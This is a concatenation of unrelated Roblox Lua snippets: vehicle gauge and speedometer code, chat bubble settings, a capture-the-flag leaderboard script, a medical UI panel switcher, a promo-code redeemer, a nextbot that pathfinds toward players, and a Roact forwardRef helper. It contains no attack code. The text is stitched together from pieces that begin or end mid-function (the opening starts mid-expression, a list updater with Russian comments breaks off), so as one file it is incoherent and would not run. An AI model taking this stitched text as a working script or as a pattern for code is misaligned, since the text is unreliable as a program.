gauges.Tach.Needle.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness) gauges.Tach.Needle2.Rotation = gauges.Tach.Needle2.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness) gauges.Tach.Needle3.Rotation = gauges.Tach.Needle3.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness) gauges.Tach.Needle4.Rotation = gauges.Tach.Needle4.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness) gauges.Tach.Needle5.Rotation = gauges.Tach.Needle5.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness) gauges.Tach.Needle6.Rotation = gauges.Tach.Needle6.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness) gauges.Tach.Needle7.Rotation = gauges.Tach.Needle7.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness) gauges.Tach.Needle8.Rotation = gauges.Tach.Needle8.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness) gauges.Tach.Needle9.Rotation = gauges.Tach.Needle9.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness) gauges.Tach.Needle10.Rotation = gauges.Tach.Needle10.Rotation*Smoothness + (45 + 270 * math.min(1,values.RPM.Value / (revEnd*1000)))*(1-Smoothness)]] if _Tune.Aspiration then gauges.Boost.Needle.Rotation = gauges.Boost.Needle.Rotation*(TurboSmoothness) + (25 - 50*(values.Boost.Value/BST))*(1-(TurboSmoothness)) gauges.Boost.Needle2.Rotation = gauges.Boost.Needle2.Rotation*(TurboSmoothness+0.005) + (25 - 50*(values.Boost.Value/BST))*(1-(TurboSmoothness+0.005)) gauges.Boost.Needle3.Rotation = gauges.Boost.Needle3.Rotation*(TurboSmoothness+0.01) + (25 - 50*(values.Boost.Value/BST))*(1-(TurboSmoothness+0.01)) gauges.Boost.Needle4.Rotation = gauges.Boost.Needle4.Rotation*(TurboSmoothness+0.015) + (25 - 50*(values.Boost.Value/BST))*(1-(TurboSmoothness+0.015)) gauges.Boost.Needle5.Rotation = gauges.Boost.Needle5.Rotation*(TurboSmoothness+0.02) + (25 - 50*(values.Boost.Value/BST))*(1-(TurboSmoothness+0.02)) gauges.Boost.Needle6.Rotation = gauges.Boost.Needle6.Rotation*(TurboSmoothness+0.025) + (25 - 50*(values.Boost.Value/BST))*(1-(TurboSmoothness+0.025)) gauges.Boost.Needle7.Rotation = gauges.Boost.Needle7.Rotation*(TurboSmoothness+0.03) + (25 - 50*(values.Boost.Value/BST))*(1-(TurboSmoothness+0.03)) gauges.Boost.Needle8.Rotation = gauges.Boost.Needle8.Rotation*(TurboSmoothness+0.035) + (25 - 50*(values.Boost.Value/BST))*(1-(TurboSmoothness+0.035)) gauges.Boost.Needle9.Rotation = gauges.Boost.Needle9.Rotation*(TurboSmoothness+0.04) + (25 - 50*(values.Boost.Value/BST))*(1-(TurboSmoothness+0.04)) gauges.Boost.Needle10.Rotation = gauges.Boost.Needle10.Rotation*(TurboSmoothness+0.045) + (25 - 50*(values.Boost.Value/BST))*(1-(TurboSmoothness+0.045)) else end end) local _TCount = 0 if _Tune.Aspiration then if _Tune.Aspiration ~= "Natural" then if _Tune.Aspiration == "Single" or _Tune.Aspiration == "Super" then _TCount = 1 elseif _Tune.Aspiration == "Double" then _TCount = 2 end else gauges.Boost.Visible = false gauges.BoostImage.Visible = false end else gauges.Boost.Visible = false gauges.BoostImage.Visible = false end values.Gear.Changed:connect(function() local gearText = values.Gear.Value if gearText == 0 then gearText = "N" elseif gearText == -1 then gearText = "R" end gauges.Gear.Text = gearText end) values.TCS.Changed:connect(function() if _Tune.TCSEnabled then if values.TCS.Value then gauges.TCS.TextColor3 = Color3.new(1,226/255,0) gauges.TCS.TextStrokeColor3 = Color3.new(1,226/255,0) if values.TCSActive.Value then wait() gauges.TCS.TextColor3 = Color3.new(1,226/255,0) gauges.TCS.TextStrokeColor3 = Color3.new(1,226/255,0) else wait() gauges.TCS.TextColor3 = Color3.new(.2,.2,.2) gauges.TCS.TextStrokeColor3 = Color3.new(.2,.2,.2) end else gauges.TCS.TextColor3 = Color3.new(.2,.2,.2) gauges.TCS.TextStrokeColor3 = Color3.new(.2,.2,.2) end else gauges.TCS.TextColor3 = Color3.new(.2,.2,.2) gauges.TCS.TextStrokeColor3 = Color3.new(.2,.2,.2) end end) values.TCSActive.Changed:connect(function() if _Tune.TCSEnabled then if values.TCSActive.Value and values.TCS.Value then wait() gauges.TCS.TextColor3 = Color3.new(1,226/255,0) gauges.TCS.TextStrokeColor3 = Color3.new(1,226/255,0) elseif not values.TCS.Value then wait() gauges.TCS.TextColor3 = Color3.new(1,226/255,0) gauges.TCS.TextStrokeColor3 = Color3.new(1,226/255,0) else wait() gauges.TCS.TextColor3 = Color3.new(.2,.2,.2) gauges.TCS.TextStrokeColor3 = Color3.new(.2,.2,.2) end else gauges.TCS.TextColor3 = Color3.new(.2,.2,.2) gauges.TCS.TextStrokeColor3 = Color3.new(.2,.2,.2) end end) gauges.TCS.Changed:connect(function() if _Tune.TCSEnabled then if values.TCSActive.Value and values.TCS.Value then wait() gauges.TCS.TextColor3 = Color3.new(1,226/255,0) gauges.TCS.TextStrokeColor3 = Color3.new(1,226/255,0) elseif not values.TCS.Value then wait() gauges.TCS.TextColor3 = Color3.new(1,226/255,0) gauges.TCS.TextStrokeColor3 = Color3.new(1,226/255,0) end else if gauges.TCS.Visible then gauges.TCS.TextColor3 = Color3.new(.2,.2,.2) gauges.TCS.TextStrokeColor3 = Color3.new(.2,.2,.2) end end end) values.ABS.Changed:connect(function() if _Tune.ABSEnabled then if values.ABS.Value then gauges.ABS.TextColor3 = Color3.new(1,226/255,0) gauges.ABS.TextStrokeColor3 = Color3.new(1,226/255,0) if values.ABSActive.Value then wait() gauges.ABS.TextColor3 = Color3.new(1,226/255,0) gauges.ABS.TextStrokeColor3 = Color3.new(1,226/255,0) else wait() gauges.ABS.TextColor3 = Color3.new(.2,.2,.2) gauges.ABS.TextStrokeColor3 = Color3.new(.2,.2,.2) end else gauges.ABS.Visible = true gauges.ABS.TextColor3 = Color3.new(.2,.2,.2) gauges.ABS.TextStrokeColor3 = Color3.new(.2,.2,.2) end else gauges.ABS.TextColor3 = Color3.new(.2,.2,.2) gauges.ABS.TextStrokeColor3 = Color3.new(.2,.2,.2) end end) values.ABSActive.Changed:connect(function() if _Tune.ABSEnabled then if values.ABSActive.Value and values.ABS.Value then wait() gauges.ABS.TextColor3 = Color3.new(1,226/255,0) gauges.ABS.TextStrokeColor3 = Color3.new(1,226/255,0) elseif not values.ABS.Value then wait() gauges.ABS.TextColor3 = Color3.new(1,226/255,0) gauges.ABS.TextStrokeColor3 = Color3.new(1,226/255,0) else wait() gauges.ABS.TextColor3 = Color3.new(.2,.2,.2) gauges.ABS.TextStrokeColor3 = Color3.new(.2,.2,.2) end else gauges.ABS.TextColor3 = Color3.new(.2,.2,.2) gauges.ABS.TextStrokeColor3 = Color3.new(.2,.2,.2) end end) gauges.ABS.Changed:connect(function() if _Tune.ABSEnabled then if values.ABSActive.Value and values.ABS.Value then wait() gauges.ABS.TextColor3 = Color3.new(1,226/255,0) gauges.ABS.TextStrokeColor3 = Color3.new(1,226/255,0) elseif not values.ABS.Value then wait() gauges.ABS.TextColor3 = Color3.new(1,226/255,0) gauges.ABS.TextStrokeColor3 = Color3.new(1,226/255,0) end else if gauges.ABS.Visible then gauges.ABS.TextColor3 = Color3.new(.2,.2,.2) gauges.ABS.TextStrokeColor3 = Color3.new(.2,.2,.2) end end end) function Speed() gauges.SpeedThing.Text = SpeedType local SpeedVal = values.Velocity.Value.Magnitude local MPHScale = (10/12) * (60/88) local KPHScale = (10/12) * 1.09728 if SpeedType == "MPH" then if SpeedVal*MPHScale < 100 then if SpeedVal*MPHScale < 10 then gauges.Speed.Text = "00"..math.floor(SpeedVal*MPHScale) else gauges.Speed.Text = "0"..math.floor(SpeedVal*MPHScale) end else gauges.Speed.Text = math.floor(SpeedVal*MPHScale) end end if SpeedType == "KPH" then if SpeedVal*KPHScale < 100 then if SpeedVal*KPHScale < 10 then gauges.Speed.Text = "00"..math.floor(SpeedVal*KPHScale) else gauges.Speed.Text = "0"..math.floor(SpeedVal*KPHScale) end else gauges.Speed.Text = math.floor(SpeedVal*KPHScale) end end end values.Velocity.Changed:connect(function() Speed() end) wait(.1) Speed()
--[[ SCRIPT VARIABLES ]]
local CHAT_BUBBLE_FONT = Enum.Font.SourceSans local CHAT_BUBBLE_FONT_SIZE = Enum.FontSize.Size24 -- if you change CHAT_BUBBLE_FONT_SIZE_INT please change this to match local CHAT_BUBBLE_FONT_SIZE_INT = 24 -- if you change CHAT_BUBBLE_FONT_SIZE please change this to match local CHAT_BUBBLE_LINE_HEIGHT = CHAT_BUBBLE_FONT_SIZE_INT + 10 local CHAT_BUBBLE_TAIL_HEIGHT = 14 local CHAT_BUBBLE_WIDTH_PADDING = 30 local CHAT_BUBBLE_FADE_SPEED = 1.5 local BILLBOARD_MAX_WIDTH = 400 local BILLBOARD_MAX_HEIGHT = 250 --This limits the number of bubble chats that you see above characters local ELIPSES = "..." local MaxChatMessageLength = 128 -- max chat message length, including null terminator and elipses. local MaxChatMessageLengthExclusive = MaxChatMessageLength - string.len(ELIPSES) - 1 local NEAR_BUBBLE_DISTANCE = 65 --previously 45 local MAX_BUBBLE_DISTANCE = 100 --previously 80
--[[Weight Scaling]]
--[Cubic stud : pounds ratio] --[STANDARDIZED: Don't touch unless needed] Tune.WeightScaling = 1/50 --Default = 1/50 (1 cubic stud = 50 lbs) Tune.LegacyScaling = 1/50 --Default = 1/10 (1 cubic stud = 10 lbs) [PGS OFF] return Tune
-- Overloads functions in Roblox's TransparencyController -- module with replacement functions in the FpsCamera.
function FpsCamera:MountTransparency(Transparency) local baseUpdate = Transparency.Update if baseUpdate then Transparency.BaseUpdate = baseUpdate Transparency.Update = self.UpdateTransparency else self:Warn("MountTransparency - Could not find Transparency:Update()!") end if Transparency.IsValidPartToModify then Transparency.IsValidPartToModify = self.IsValidPartToModify Transparency.HeadAttachments = self.HeadAttachments Transparency.ForceRefresh = true else self:Warn("MountTransparency - Could not find Transparency:IsValidPartToModify(part)!") end if Transparency.SetupTransparency then Transparency.BaseSetupTransparency = Transparency.SetupTransparency Transparency.SetupTransparency = self.SetupTransparency else self:Warn("MountTransparency - Could not find Transparency:SetupTransparency(character)!") end end
-- number of list items to accumulate before a SETLIST instruction
luaP.LFIELDS_PER_FLUSH = 50
-----------------------------------------------
function findAllFlagStands(root) local c = root:children() for i=1,#c do if (c[i].className == "Model" or c[i].className == "Part") then findAllFlagStands(c[i]) end if (c[i].className == "FlagStand") then table.insert(stands, c[i]) end end end function hookUpListeners() for i=1,#stands do stands[i].FlagCaptured:connect(onCaptureScored) end end function onPlayerEntered(newPlayer) if CTF_mode == true then local stats = Instance.new("IntValue") stats.Name = "leaderstats" local captures = Instance.new("IntValue") captures.Name = "Captures" captures.Value = 0 captures.Parent = stats -- VERY UGLY HACK -- Will this leak threads? -- Is the problem even what I think it is (player arrived before character)? while true do if newPlayer.Character ~= nil then break end wait(5) end stats.Parent = newPlayer else local stats = Instance.new("IntValue") stats.Name = "leaderstats" local kills = Instance.new("IntValue") kills.Name = "Laps" kills.Value = 0 local deaths = Instance.new("IntValue") deaths.Name = "Wipeouts" deaths.Value = 0 kills.Parent = stats deaths.Parent = stats -- VERY UGLY HACK -- Will this leak threads? -- Is the problem even what I think it is (player arrived before character)? while true do if newPlayer.Character ~= nil then break end wait(5) end local humanoid = newPlayer.Character.Humanoid humanoid.Died:connect(function() onHumanoidDied(humanoid, newPlayer) end ) -- start to listen for new humanoid newPlayer.Changed:connect(function(property) onPlayerRespawn(property, newPlayer) end ) stats.Parent = newPlayer end end function onCaptureScored(player) local ls = player:findFirstChild("leaderstats") if ls == nil then return end local caps = ls:findFirstChild("Captures") if caps == nil then return end caps.Value = caps.Value + 1 end findAllFlagStands(game.Workspace) hookUpListeners() if (#stands > 0) then CTF_mode = true end game.Players.ChildAdded:connect(onPlayerEntered)
--[[script.Parent.Examinar.MouseButton1Down:connect(function() if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.ExaminarAberto.Visible == false then Saude.Variaveis.Doer.Value = true Timer.Barra.Size = UDim2.new(0,0,1,0) TS:Create(Timer.Barra, TweenInfo.new(5), {Size = UDim2.new(1,0,1,0)}):Play() wait(5) script.Parent.Parent.ExaminarAberto.Visible = true script.Parent.Parent.ExaminarAberto.Base.DiagnoseHandler.Disabled = false Saude.Variaveis.Doer.Value = false end end)]]
script.Parent.Circulation.MouseButton1Down:connect(function() if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Circulation.Visible == false then --Saude.Variaveis.Doer.Value = true --Timer.Barra.Size = UDim2.new(0,0,1,0) --TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play() --wait(.25) script.Parent.Parent.Circulation.Visible = true script.Parent.Parent.Resuscitation.Visible = false script.Parent.Parent.Analgesic.Visible = false --Saude.Variaveis.Doer.Value = false end end) script.Parent.Resuscitation.MouseButton1Down:connect(function() if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Resuscitation.Visible == false then --Saude.Variaveis.Doer.Value = true --Timer.Barra.Size = UDim2.new(0,0,1,0) --TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play() --wait(.25) script.Parent.Parent.Circulation.Visible = false script.Parent.Parent.Resuscitation.Visible = true script.Parent.Parent.Analgesic.Visible = false --Saude.Variaveis.Doer.Value = false end end) script.Parent.Analgesic.MouseButton1Down:connect(function() if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Analgesic.Visible == false then --Saude.Variaveis.Doer.Value = true --Timer.Barra.Size = UDim2.new(0,0,1,0) --TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play() --wait(.25) script.Parent.Parent.Circulation.Visible = false script.Parent.Parent.Resuscitation.Visible = false script.Parent.Parent.Analgesic.Visible = true --Saude.Variaveis.Doer.Value = false end end)
--Codes
local codelist = { code1 = "ROBLOX", -- Always put a comma every timne you're going to add another code code2 = "YT" } script.Parent.MouseButton1Click:Connect(function() if script.Parent.Parent.CodeHandler.Text == codelist.code1 then -- Im gonna add an expiration in this code if date["month"] == 8 and date["day"] <= 3 then -- Months are in numerical order .Month and Day must be in lowercase letters. Use "<=" If you want to make your code valid until that date. Use "==" if you want to make your code valid only on that date. if not codes:FindFirstChild("Code1") then -- This one here RE:FireServer(500, "Code1") -- The string must be the same as in the top. For now I can reward the player, cash. Until I can learn how to save tools. script.Parent.Text = "Code redeemed successfully!" script.Parent.Parent.CodeHandler.Text = "" -- Removes the text in our code handler textbox wait(2) script.Parent.Text = "Redeem Code" else script.Parent.Text = "Code already redeemed!" wait(2) script.Parent.Text = "Redeem Code" end else script.Parent.Text = "Code expired!" wait(2) script.Parent.Text = "Redeem Code" end elseif script.Parent.Parent.CodeHandler.Text == codelist.code2 then -- Your second code. So if our textbox matches the code in our dictionary... if not codes:FindFirstChild("Code2") then -- This one here RE:FireServer(300, "Code2") -- The string must be the same as in the top. For now I can reward the player, cash. Until I can learn how to save tools. script.Parent.Text = "Code redeemed successfully!" script.Parent.Parent.CodeHandler.Text = "" wait(2) script.Parent.Text = "Redeem Code" else script.Parent.Text = "Code already redeemed!" wait(2) script.Parent.Text = "Redeem Code" end else script.Parent.Text = "Code invalid!" script.Parent.Parent.CodeHandler.Text = "" wait(2) script.Parent.Text = "Redeem Code" end end)
------------------------------------------------------------------------------------------ -- чтение потомков и добавление их в UI
local Checked = true -- защита от многократного считывания local function UpdateList() if Checked then Checked = false -- забрать всех из Listing и поместить потомками в UI local tmp = ls:GetChildren() if #tmp then -- проверка на наличие потомков
--local debris = game:GetService("Debris")
local bot = script.Parent -- bot stuff local bhum = bot:WaitForChild('Humanoid') local bhrp = bot:WaitForChild('HumanoidRootPart') local findPath = PFS:CreatePath({WaypointSpacing = math.huge}) local actPath = PFS:CreatePath({WaypointSpacing = math.huge}) local followedChar -- the one we are already following local char -- the one which we follow local function nearestChar() while wait() do local nearChar, nearDist = nil, nil local distance local firstPos for i,v in pairs(workspace:GetChildren()) do if v:FindFirstChild('Humanoid') and v ~= bot and not (v:FindFirstChild('Nextbot') or v:FindFirstChild('NPC')) and v.Humanoid.Health > 0 and v:FindFirstChild('HumanoidRootPart') then findPath:ComputeAsync(bhrp.Position, v.HumanoidRootPart.Position) if findPath.Status == Enum.PathStatus.Success then distance = 0 for i,waypoint in ipairs(findPath:GetWaypoints()) do if i ~= 1 then distance = distance + (waypoint.Position - firstPos).Magnitude end firstPos = waypoint.Position end if nearDist == nil then nearDist = distance nearChar = v else if distance < nearDist then nearDist = distance nearChar = v end end end end end char = nearChar end end spawn(nearestChar) local count = 0 RunS.Heartbeat:Connect(function() if count >= 3 then -- You may change this number to your liking, but if you set it too low nextbot will lag count = 0 if char ~= nil and char:FindFirstChild('HumanoidRootPart') then actPath:ComputeAsync(bhrp.Position, char.HumanoidRootPart.Position) for i,v in ipairs(actPath:GetWaypoints()) do if i ~= 1 then bhum:MoveTo(v.Position) bhum.MoveToFinished:Wait() end end end else count = count + 1 end end)
-- Tool Animation handling
local tool = getTool() if tool and tool:FindFirstChild("Handle") then local animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value
--[[ Allows forwarding of refs to underlying host components. Accepts a render callback which accepts props and a ref, and returns an element. ]]
local function forwardRef(render) if config.typeChecks then assert(typeof(render) == "function", "Expected arg #1 to be a function") end return function(props) local ref = props[Ref] local propsWithoutRef = assign({}, props, excludeRef) return render(propsWithoutRef, ref) end end return forwardRef